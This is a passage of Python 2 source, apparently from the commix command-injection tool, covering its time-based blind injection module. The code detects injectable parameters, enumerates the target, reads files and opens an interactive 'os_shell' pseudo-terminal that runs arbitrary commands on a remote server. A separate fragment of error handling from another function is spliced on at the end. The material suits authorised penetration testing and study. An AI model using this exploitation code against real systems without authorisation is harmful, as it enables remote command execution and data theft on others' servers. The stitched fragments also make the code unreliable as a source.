how_long - timesec if false_positive_warning: time.sleep(1) randv1 = random.randrange(1, 10) randv2 = random.randrange(1, 10) randvcalc = randv1 + randv2 if settings.TARGET_OS == "win": if alter_shell: cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" else: cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")" else: cmd = "expr " + str(randv1) + " %2B " + str(randv2) + "" # Set the original delay time original_how_long = how_long # Check for false positive resutls how_long, output = tb_injector.false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response) if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : if str(output) == str(randvcalc) and len(TAG) == output_length: possibly_vulnerable = True how_long_statistic = 0 if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = "" else: break # False positive else: if not settings.VERBOSITY_LEVEL >= 1: percent = str(float_percent)+ "%" info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue else: if not settings.VERBOSITY_LEVEL >= 1: percent = str(float_percent)+ "%" info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue if not settings.VERBOSITY_LEVEL >= 1: info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print settings.print_error_msg(err_msg) raise except: percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) if str(float_percent) == "100.0": if no_result == True: if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.RED + "FAILED" + Style.RESET_ALL info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() else: percent = "" else: percent = str(float_percent) + "%" print "" # Print logs notification message logs.logs_notification(filename) #raise else: percent = str(float_percent) + "%" break # Yaw, got shellz! # Do some magic tricks! if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : if (len(TAG) == output_length) and \ (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if settings.LOAD_SESSION: possibly_vulnerable = False if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0 : found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: if not settings.VERBOSITY_LEVEL >= 1: print "" else: checks.total_of_requests() # Print the findings to terminal. success_msg = "The" if len(found_vuln_parameter) > 0 and not "cookie" in header_name : success_msg += " " + http_request_method success_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + str(checks.url_decode(payload)) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: shell = "" session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level) #possibly_vulnerable = False else: settings.LOAD_SESSION = False new_line = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True: while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "y" if enumerate_again in settings.CHOICE_YES: tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) print "" break elif enumerate_again in settings.CHOICE_NO: new_line = True break elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: print "" while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) file_access_again = sys.stdin.readline().replace("\n","").lower() else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "y" if file_access_again in settings.CHOICE_YES: tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) break elif file_access_again in settings.CHOICE_NO: if not new_line: new_line = True break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: # if not menu.enumeration_options() and not menu.options.os_cmd: # print "" tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Check if defined single cmd. if menu.options.os_cmd: cmd = menu.options.os_cmd check_how_long, output = tb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result tb_injector.export_injection_results(cmd, separator, output, check_how_long) print "" logs.print_logs_notification(filename, url) raise SystemExit() if not new_line : print "" # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) gotshell = sys.stdin.readline().replace("\n","").lower() else: gotshell = "" if len(gotshell) == 0: gotshell = "y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: if false_positive_warning: warn_msg = "Due to unexpected time delays, it is highly " warn_msg += "recommended to enable the 'reverse_tcp' option.\n" sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) false_positive_warning = False try: # Tab compliter if not readline_error: readline.set_completer(menu.tab_completer) # MacOSX tab compliter if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): readline.parse_and_bind("bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind("tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") if go_back and go_back_again == False: break if go_back and go_back_again: return True else: if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result tb_injector.export_injection_results(cmd, separator, output, check_how_long) if not menu.options.ignore_session : session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) print "\n" + Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, output) print "" except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print settings.print_error_msg(err_msg) raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass break if no_result == True: if settings.VERBOSITY_LEVEL == 0: print "" return False else : sys.stdout.write("\r") sys.stdout.flush()
# Retrieve everything from the supported enumeration options. if menu.options.enum_all: checks.enable_all_enumeration_options() # Launch injection and exploitation controller. controller.do_check(url, filename) return filename # Accidental stop / restart of the target host server. except httplib.BadStatusLine, err_msg: if err_msg.line == "" or err_msg.message == "": err_msg = "The target host is not responding." err_msg += " Please ensure that is up and try again." print "\n\n" + settings.print_critical_msg(err_msg) logs.print_logs_notification(filename, url) else: err_msg = err_msg.line + err_msg.message print settings.print_critical_msg(err_msg) + "\n" session_handler.clear(url) raise SystemExit() # Connection reset by peer except SocketError, err_msg: if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The target host is not responding." err_msg += " Please ensure that is up and try again." print "\n" + settings.print_critical_msg(err_msg) logs.print_logs_notification(filename, url)